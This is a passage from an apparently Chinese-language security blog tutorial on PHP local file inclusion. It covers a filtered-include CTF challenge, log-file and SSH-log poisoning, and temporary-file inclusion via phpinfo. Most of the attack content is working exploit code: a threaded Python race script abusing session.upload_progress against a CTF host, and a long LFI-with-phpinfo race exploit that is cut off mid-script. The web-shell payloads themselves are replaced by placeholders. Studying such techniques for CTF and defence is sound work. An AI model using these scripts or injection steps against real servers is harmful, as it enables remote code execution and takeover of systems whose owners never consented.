class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">if(isset($_GET[&#x27;file&#x27;]))&#123;</span><br><span class="line">    $file = $_GET[&#x27;file&#x27;];</span><br><span class="line">    $file = str_replace(&quot;php&quot;, &quot;???&quot;, $file);</span><br><span class="line">    $file = str_replace(&quot;data&quot;, &quot;???&quot;, $file);</span><br><span class="line">    $file = str_replace(&quot;:&quot;, &quot;???&quot;, $file);</span><br><span class="line">    $file = str_replace(&quot;.&quot;, &quot;???&quot;, $file);</span><br><span class="line">    include($file);</span><br><span class="line">&#125;else&#123;</span><br><span class="line">    highlight_file(__FILE__);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>分析：<br>把一些危险字符替换在你的输入请求中<br>payload</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">import io</span><br><span class="line">import requests</span><br><span class="line">import threading</span><br><span class="line">url = &#x27;http://301fdf90-6009-4daa-bab2-37e6d76f58f3.challenge.ctf.show/&#x27;</span><br><span class="line"></span><br><span class="line">def write(session):</span><br><span class="line">    data = &#123;</span><br><span class="line">        &#x27;PHP_SESSION_UPLOAD_PROGRESS&#x27;: &#x27;&lt;PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY&gt;mumuzi&#x27;</span><br><span class="line">    &#125;</span><br><span class="line">    while True:</span><br><span class="line">        f = io.BytesIO(b&#x27;a&#x27; * 1024 * 10)</span><br><span class="line">        response = session.post(url,cookies=&#123;&#x27;PHPSESSID&#x27;: &#x27;flag&#x27;&#125;, data=data, files=&#123;&#x27;file&#x27;: (&#x27;muzi.txt&#x27;, f)&#125;)</span><br><span class="line">def read(session):</span><br><span class="line">    while True:</span><br><span class="line">        response = session.get(url+&#x27;?file=/tmp/sess_flag&#x27;)</span><br><span class="line">        if &#x27;mumuzi&#x27; in response.text:</span><br><span class="line">            print(response.text)</span><br><span class="line">            break</span><br><span class="line">        else:</span><br><span class="line">            print(&#x27;retry&#x27;)</span><br><span class="line"></span><br><span class="line">if __name__ == &#x27;__main__&#x27;:</span><br><span class="line">    session = requests.session()</span><br><span class="line">    write = threading.Thread(target=write, args=(session,))</span><br><span class="line">    write.daemon = True</span><br><span class="line">    write.start()</span><br><span class="line">    read(session)</span><br></pre></td></tr></table></figure><h5 id="攻击原理"><a href="#攻击原理" class="headerlink" title="攻击原理"></a>攻击原理</h5><ol><li><p><strong>利用机制</strong>：利用PHP的<code>session.upload_progress</code>特性</p><ul><li>当PHP启用此功能时，会将会话上传进度信息写入会话文件</li><li>攻击者可以控制写入的内容，注入PHP代码</li></ul></li><li><p><strong>竞争条件</strong>：</p><ul><li>一个线程持续写入恶意代码到会话文件</li><li>另一个线程（read函数）不断尝试包含并执行这个会话文件</li><li>通过高速循环增加在文件被清理前成功执行的概率</li></ul></li><li><p><strong>目标漏洞</strong>：目标网站存在文件包含漏洞</p><ul><li>URL参数<code>?file=/tmp/sess_flag</code>显示网站允许包含任意文件</li><li>攻击者利用这点包含含有恶意PHP代码的会话文件</li></ul></li></ol><h3 id="日志包含"><a href="#日志包含" class="headerlink" title="日志包含"></a>日志包含</h3><h4 id="基本原理"><a href="#基本原理" class="headerlink" title="基本原理"></a>基本原理</h4><p>日志文件包含漏洞是一种利用服务器日志记录机制和文件包含漏洞相结合的攻击方式。攻击者通过向日志文件中注入恶意代码，然后利用文件包含漏洞使服务器执行这些代码，从而获取服务器控制权。</p><h4 id="主要攻击类型"><a href="#主要攻击类型" class="headerlink" title="主要攻击类型"></a>主要攻击类型</h4><h5 id="1-Web中间件日志文件包含"><a href="#1-Web中间件日志文件包含" class="headerlink" title="1. Web中间件日志文件包含"></a>1. Web中间件日志文件包含</h5><ul><li><strong>常见路径</strong>:<ul><li>Apache: <code>/var/log/apache/access.log</code></li><li>Nginx: <code>/var/log/nginx/access.log</code> 和 <code>/var/log/nginx/error.log</code></li></ul></li><li><strong>利用条件</strong>:<ul><li>知道日志文件的具体位置</li><li>Web服务器对日志文件具有可读权限</li><li>存在文件包含漏洞</li></ul></li></ul><h5 id="2-恶意代码注入方式"><a href="#2-恶意代码注入方式" class="headerlink" title="2. 恶意代码注入方式"></a>2. 恶意代码注入方式</h5><ul><li><p><strong>通过URL参数注入</strong>:</p><ul><li>请求URL包含PHP代码，如: <code>http://目标/api/&lt;PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY&gt;</code></li><li>需使用Burp Suite等工具避免浏览器自动URL编码</li><li>请求记录在access.log中后，通过文件包含执行</li></ul></li></ul><p>例如</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://10.226.65.254/api/&lt;PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY&gt;</span><br></pre></td></tr></table></figure><p><img src="/images/file-include/pasted-image-20260319162455.png" alt="pasted image 20260319162455"></p><ul><li><p><strong>通过User-Agent头注入</strong>:</p><ul><li>修改请求头中的User-Agent字段，插入PHP代码</li><li>优势: 可绕过URL参数过滤机制</li><li>适用于对请求参数严格过滤但未过滤请求头的场景</li></ul></li></ul><h5 id="3-SSH日志文件包含"><a href="#3-SSH日志文件包含" class="headerlink" title="3. SSH日志文件包含"></a>3. SSH日志文件包含</h5><ul><li><strong>日志路径</strong>: <code>/var/log/auth.log</code> 或 <code>/var/log/secure</code></li><li><strong>利用方法</strong>:<ul><li>将SSH用户名设置为PHP代码: <code>ssh &#39;&lt;PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY&gt;&#39;@目标IP</code></li><li>登录失败记录会被写入auth.log</li><li>通过文件包含漏洞加载日志文件执行代码</li></ul></li><li><strong>适用场景</strong>: 当Web应用存在文件包含漏洞，且能访问系统认证日志</li></ul><h3 id="临时文件包含"><a href="#临时文件包含" class="headerlink" title="临时文件包含"></a>临时文件包含</h3><h4 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h4><p><strong>当我们在给PHP发送POST数据包时，如果数据包里包含文件区块，无论你访问的代码中有没有处理文件上传的逻辑，PHP都会将这个文件保存成一个临时文件。文件名可以在<code>$_FILES</code>变量中找到。这个临时文件，在请求结束后就会被删除</strong>。</p><p><strong>利用phpinfo的特性可以很好的帮助我们，因为phpinfo页面会将当前请求上下文中所有变量（所有数据）都打印出来，所以我们如果向phpinfo页面发送包含文件区块的数据包，则即可在返回包里找到<code>$_FILES</code>变量的内容，拿到 临时文件变量名 之后，就可以进行包含执行我们传入的恶意代码。</strong><br><strong>但文件包含漏洞和phpinfo页面通常是两个页面，理论上我们需要先发送数据包给phpinfo页面，然后从返回页面中匹配出临时文件名，再将这个文件名发送给文件包含漏洞页面，进行getshell。但是在第一个</strong>请求结束时，临时文件就被删除了，第二个请求自然也就无法进行包含。<br>所有需要条件竞争</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$_FILES[&#x27;userfile&#x27;][&#x27;name&#x27;] 客户端文件的原名称。</span><br><span class="line">$_FILES[&#x27;userfile&#x27;][&#x27;type&#x27;] 文件的 MIME 类型，如果浏览器提供该信息的支持，例如&quot;image/gif&quot;。</span><br><span class="line">$_FILES[&#x27;userfile&#x27;][&#x27;size&#x27;] 已上传文件的大小，单位为字节。</span><br><span class="line">$_FILES[&#x27;userfile&#x27;][&#x27;tmp_name&#x27;] 文件被上传后在服务端储存的临时文件名，一般是系统默认。可以在php.ini的upload_tmp_dir 指定，默认是/tmp目录。</span><br><span class="line">$_FILES[&#x27;userfile&#x27;][&#x27;error&#x27;] 该文件上传的错误代码，上传成功其值为0，否则为错误信息。</span><br></pre></td></tr></table></figure><p><code>$_FILES[&#39;userfile&#39;][&#39;name&#39;]</code>这个变量值的获取很重要，因为临时文件的名字都是由随机函数生成的，只有知道文件的名字才能正确的去包含它。</p><h4 id="获取文件名"><a href="#获取文件名" class="headerlink" title="获取文件名"></a>获取文件名</h4><p>文件被上传后，默认会被存储到服务端的默认临时目录中，该临时目录由php.ini的<code>upload_tmp_dir</code>属性指定，假如<code>upload_tmp_dir</code>的路径不可写，PHP会上传到系统默认的临时目录中。</p><p><strong>不同系统服务器常见的临时文件默认存储目录，了解系统的默认存储路径很重要，因为在很多时候服务器都是按照默认设置来运行的。</strong></p><p><strong>Linux目录</strong></p><p>Linxu系统服务的临时文件主要存储在<strong>根目录的tmp文件夹下，具有一定的开放权限</strong>。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/tmp/</span><br></pre></td></tr></table></figure><p><strong>Windows目录</strong></p><p>Windows系统服务的临时文件主要存储在<strong>系统盘Windows文件夹下，具有一定的开放权限</strong>。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">C:/Windows/</span><br><span class="line">C:/Windows/Temp/</span><br></pre></td></tr></table></figure><p><strong>存储在服务器上的临时文件的文件名都是随机生成的，了解不同系统服务器对临时文件的命名规则很重要，因为有时候对于临时文件我们需要去爆破，此时我们必须知道它的命名规则是什么。</strong></p><p>可以通过phpinfo来查看临时文件的信息。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Linux临时文件主要存储在`/tmp/`目录下，格式通常是（`/tmp/php[6个随机字符]`）</span><br><span class="line"></span><br><span class="line">Windows临时文件主要存储在`C:/Windows/`目录下，格式通常是（`C:/Windows/php[4个随机字符].tmp`）</span><br></pre></td></tr></table></figure><h3 id="脚本"><a href="#脚本" class="headerlink" title="脚本"></a>脚本</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br></pre></td><td class="code"><pre><span class="line">import sys</span><br><span class="line"></span><br><span class="line">import threading</span><br><span class="line"></span><br><span class="line">import socket</span><br><span class="line"></span><br><span class="line"># setup函数主要作用是生成并返回三个值：</span><br><span class="line"></span><br><span class="line"># 1.上传恶意代码的HTTP请求REQ1，一个是标识符TAG，一个用于本地文件包含的HTTP请求LFIREQ</span><br><span class="line"></span><br><span class="line">def setup(host, port):</span><br><span class="line"></span><br><span class="line">    # 设定标识符 TAG 和 恶意载荷 payload</span><br><span class="line"></span><br><span class="line">    # 设计 上传给phpinfo的超大填充数据包</span><br><span class="line"></span><br><span class="line">    TAG=&quot;Security Test&quot;</span><br><span class="line"></span><br><span class="line">    PAYLOAD=&quot;&quot;&quot;%s\r</span><br><span class="line"></span><br><span class="line">&lt;PHP_WEB_SHELL_PAYLOAD_OMITTED_FOR_SAFETY&gt;&#x27;)?&gt;\r&quot;&quot;&quot; % TAG</span><br><span class="line"></span><br><span class="line">    REQ1_DATA=&quot;&quot;&quot;-----------------------------7dbff1ded0714\r</span><br><span class="line"></span><br><span class="line">Content-Disposition: form-data; name=&quot;dummyname&quot;; filename=&quot;test.txt&quot;\r</span><br><span class="line"></span><br><span class="line">Content-Type: text/plain\r</span><br><span class="line"></span><br><span class="line">\r</span><br><span class="line"></span><br><span class="line">%s</span><br><span class="line"></span><br><span class="line">-----------------------------7dbff1ded0714--\r&quot;&quot;&quot; % PAYLOAD</span><br><span class="line"></span><br><span class="line">    padding=&quot;A&quot; * 5000</span><br><span class="line"></span><br><span class="line">    REQ1=&quot;&quot;&quot;POST /06/phpinfo.php?a=&quot;&quot;&quot;+padding+&quot;&quot;&quot; HTTP/1.1\r</span><br><span class="line"></span><br><span class="line">Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=&quot;&quot;&quot;+padding+&quot;&quot;&quot;\r</span><br><span class="line"></span><br><span class="line">HTTP_ACCEPT: &quot;&quot;&quot; + padding + &quot;&quot;&quot;\r</span><br><span class="line"></span><br><span class="line">HTTP_USER_AGENT: &quot;&quot;&quot;+padding+&quot;&quot;&quot;\r</span><br><span class="line"></span><br><span class="line">HTTP_ACCEPT_LANGUAGE: &quot;&quot;&quot;+padding+&quot;&quot;&quot;\r</span><br><span class="line"></span><br><span class="line">HTTP_PRAGMA: &quot;&quot;&quot;+padding+&quot;&quot;&quot;\r</span><br><span class="line"></span><br><span class="line">Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r</span><br><span class="line"></span><br><span class="line">Content-Length: %s\r</span><br><span class="line"></span><br><span class="line">Host: %s\r</span><br><span class="line"></span><br><span class="line">\r</span><br><span class="line"></span><br><span class="line">%s&quot;&quot;&quot; %(len(REQ1_DATA),host,REQ1_DATA)</span><br><span class="line"></span><br><span class="line">    #modify this to suit the LFI script  </span><br><span class="line"></span><br><span class="line">    LFIREQ=&quot;&quot;&quot;GET /06/lfi.php?file=%s HTTP/1.1\r</span><br><span class="line"></span><br><span class="line">User-Agent: Mozilla/4.0\r</span><br><span class="line"></span><br><span class="line">Proxy-Connection: Keep-Alive\r</span><br><span class="line"></span><br><span class="line">Host: %s\r</span><br><span class="line"></span><br><span class="line">\r</span><br><span class="line"></span><br><span class="line">\r</span><br><span class="line"></span><br><span class="line">&quot;&quot;&quot;</span><br><span class="line"></span><br><span class="line">    return (REQ1, TAG, LFIREQ)</span><br><span class="line"></span><br><span class="line">def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):</span><br><span class="line"></span><br><span class="line">    # 建立两个HTTP链接，一个是给phpinfo的POST请求，一个是给文件包含页面发送webshell的请求</span><br><span class="line"></span><br><span class="line">    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line"></span><br><span class="line">    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line"></span><br><span class="line">    s.connect((host, port))</span><br><span class="line"></span><br><span class="line">    s2.connect((host, port))</span><br><span class="line"></span><br><span class="line">    # phpinforeq是第一个POST数据包</span><br><span class="line"></span><br><span class="line">    s.send(phpinforeq)</span><br><span class="line"></span><br><span class="line">    # d用于存储从服务器接收到的响应数据</span><br><span class="line"></span><br><span class="line">    d = &quot;&quot;</span><br><span class="line"></span><br><span class="line">    while len(d) &lt; offset:</span><br><span class="line"></span><br><span class="line">        d += s.recv(offset)</span><br><span class="line"></span><br><span class="line">    try:</span><br><span class="line"></span><br><span class="line">        i = d.index(&quot;[tmp_name] =&amp;gt; &quot;)</span><br><span class="line"></span><br><span class="line">        # fn为提取到的临时文件路径</span><br><span class="line"></span><br><span class="line">        fn = d[i+17:i+31]</span><br><span class="line"></span><br><span class="line">    except ValueError:</span><br><span class="line"></span><br><span class="line">        return None</span><br><span class="line"></span><br><span class="line">    s2.send(lfireq % (fn, host))</span><br><span class="line"></span><br><span class="line">    d = s2.recv(4096)</span><br><span class="line"></span><br><span class="line">    s.close()</span><br><span class="line"></span><br><span class="line">    s2.close()</span><br><span class="line"></span><br><span class="line">    if d.find(tag) != -1:</span><br><span class="line"></span><br><span class="line">        return fn</span><br><span class="line"></span><br><span class="line">counter=0</span><br><span class="line"></span><br><span class="line">class ThreadWorker(threading.Thread):</span><br><span class="line"></span><br><span class="line">    def __init__(self, e, l, m, *args):</span><br><span class="line"></span><br><span class="line">        threading.Thread.__init__(self)</span><br><span class="line"></span><br><span class="line">        self.event = e</span><br><span class="line"></span><br><span class="line">        self.lock =  l</span><br><span class="line"></span><br><span class="line">        self.maxattempts = m</span><br><span class="line"></span><br><span class="line">        self.args = args</span><br><span class="line"></span><br><span class="line">    def run(self):</span><br><span class="line"></span><br><span class="line">        global counter</span><br><span class="line"></span><br><span class="line">        while not self.event.is_set():</span><br><span class="line"></span><br><span class="line">            with self.lock:</span><br><span class="line"></span><br><span class="line">                if counter &gt;= self.maxattempts:</span><br><span class="line"></span><br><span class="line">                    return</span><br><span class="line"></span><br><span class="line">                counter+=1</span><br><span class="line"></span><br><span class="line">            try:</span><br><span class="line"></span><br><span class="line">                x = phpInfoLFI(*self.args)</span><br><span class="line"></span><br><span class="line">                if self.event.is_set():</span><br><span class="line"></span><br><span class="line">                    break                </span><br><span class="line"></span><br><span class="line">                if x:</span><br><span class="line"></span><br><span class="line">                    print &quot;\nGot it! Shell created in /tmp/g&quot;</span><br><span class="line"></span><br><span class="line">                    self.event.set()</span><br><span class="line"></span><br><span class="line">            except socket.error:</span><br><span class="line"></span><br><span class="line">                return</span><br><span class="line"></span><br><span class="line">def getOffset(host, port, phpinforeq):</span><br><span class="line"></span><br><span class="line">    &quot;&quot;&quot;Gets offset of tmp_name in the php output&quot;&quot;&quot;</span><br><span class="line"></span><br><span class="line">    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line"></span><br><span class="line">    s.connect((host,port))</span><br><span class="line"></span><br><span class="line">    s.send(phpinforeq)</span><br><span class="line"></span><br><span class="line">    d = &quot;&quot;</span><br><span class="line"></span><br><span class="line">    while True:</span><br><span class="line"></span><br><span class="line">        i = s.recv(4096)</span><br><span class="line"></span><br><span class="line">        d+=i        </span><br><span class="line"></span><br><span class="line">        if i == &quot;&quot;:</span><br><span class="line"></span><br><span class="line">            break</span><br><span class="line"></span><br><span class="line">        # detect the final chunk</span><br><span class="line"></span><br><span class="line">        # 如果接收到的响应数据以 &quot;0\r\n\r\n&quot; 结尾</span><br><span class="line"></span><br><span class="line">        #（可能表示 HTTP 响应的最后一个分块数据），则也停止接收</span><br><span class="line"></span><br><span class="line">        if i.endswith(&quot;0\r\n\r\n&quot;):</span><br><span class="line"></span><br><span class="line">            break</span><br><span class="line"></span><br><span class="line">    s.close()</span><br><span class="line"></span><br><span class="line">    i = d.find(&quot;[tmp_name] =&amp;gt; &quot;)</span><br><span class="line"></span><br><span class="line">    if i == -1:</span><br><span class="line"></span><br><span class="line">        raise ValueError(&quot;No php tmp_name in phpinfo output&quot;)</span><br><span class="line"></span><br><span class="line">    print &quot;found %s at %i&quot; % (d[i:i+10],i)</span><br><span class="line"></span><br><span class="line">    # padded up a bit</span><br><span class="line"></span><br><span class="line">    return i+256</span><br><span class="line"></span><br><span class="line">def main():</span><br><span class="line"></span><br><span class="line">    print &quot;LFI With PHPInfo()&quot;</span><br><span class="line"></span><br><span class="line">    print &quot;-=&quot; * 30</span><br><span class="line"></span><br><span class="line">    # 参数检查，如果没有提供足够的参数，程序终止，需要host和port</span><br><span class="line"></span><br><span class="line">    if len(sys.argv) &lt; 2:</span><br><span class="line"></span><br><span class="line">        print &quot;Usage: %s host [port] [threads]&quot; % sys.argv[0]</span><br><span class="line"></span><br><span class="line">        sys.exit(1)</span><br><span class="line"></span><br><span class="line">    # 解析目标主机，通过gethostbyname将主机名解析为IP地址，若解析失败，返回错误信息退出</span><br><span class="line"></span><br><span class="line">    try:</span><br><span class="line"></span><br><span class="line">        host = socket.gethostbyname(sys.argv[1])</span><br><span class="line"></span><br><span class="line">    except socket.error, e:</span><br><span class="line"></span><br><span class="line">        print &quot;Error with hostname %s: %s&quot; % (sys.argv[1], e)</span><br><span class="line"></span><br><span class="line">        sys.exit(1)</span><br><span class="line"></span><br><span class="line">    # 解析端口号，默认80</span><br><span class="line"></span><br><span class="line">    port=80</span><br><span class="line"></span><br><span class="line">    try:</span><br><span class="line"></span><br><span class="line">        port = int(sys.argv[2])</span><br><span class="line"></span><br><span class="line">    except IndexError:</span><br><span class="line"></span><br><span class="line">        pass</span><br><span class="line"></span><br><span class="line">    except ValueError, e:</span><br><span class="line"></span><br><span class="line">        print &quot;Error with port %d: %s&quot; % (sys.argv[2], e)</span><br><span class="line"></span><br><span class="line">        sys.exit(1)</span><br><span class="line"></span><br><span class="line">    # 线程池默认大小为10</span><br><span class="line"></span><br><span class="line">    # 如果用户提供了线程池大小的参数（第三个参数），程序会尝试将其转换为整数。</span><br><span class="line"></span><br><span class="line">    # 如果转换失败（比如非法输入），程序会输出错误信息并退出</span><br><span class="line"></span><br><span class="line">    poolsz=10</span><br><span class="line"></span><br><span class="line">    try:</span><br><span class="line"></span><br><span class="line">        poolsz = int(sys.argv[3])</span><br><span class="line"></span><br><span class="line">    except IndexError:</span><br><span class="line"></span><br><span class="line">        pass</span><br><span class="line"></span><br><span class="line">    except ValueError, e:</span><br><span class="line"></span><br><span class="line">        print &quot;Error with poolsz %d: %s&quot; % (sys.argv[3], e)</span><br><span class="line"></span><br><span class="line">        sys.exit(1)</span><br><span class="line"></span><br><span class="line">    # 获取偏移量</span><br><span class="line"></span><br><span class="line">    print &quot;Getting initial offset...&quot;,  </span><br><span class="line"></span><br><span class="line">    reqphp, tag, reqlfi = setup(host, port)</span><br><span class="line"></span><br><span class="line">    offset = getOffset(host, port, reqphp)</span><br><span class="line"></span><br><span class="line">    sys.stdout.flush()</span><br><span class="line"></span><br><span class="line">    maxattempts = 1000</span><br><span class="line"></span><br><span class="line">    e = threading.Event()</span><br><span class="line"></span><br><span class="line">    l = threading.Lock()</span><br><span class="line"></span><br><span class="line">    print &quot;Spawning worker pool (%d)...&quot; % poolsz</span><br><span class="line"></span><br><span class="line">    sys.stdout.flush()</span><br><span class="line"></span><br><span class="line">    tp = []</span><br><span class="line"></span><br><span class="line">    for i in range(0,poolsz):</span><br><span class="line"></span><br><span class="line">        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))</span><br><span class="line"></span><br><span class="line">    for t in tp:</span><br><span class="line"></span><br><span 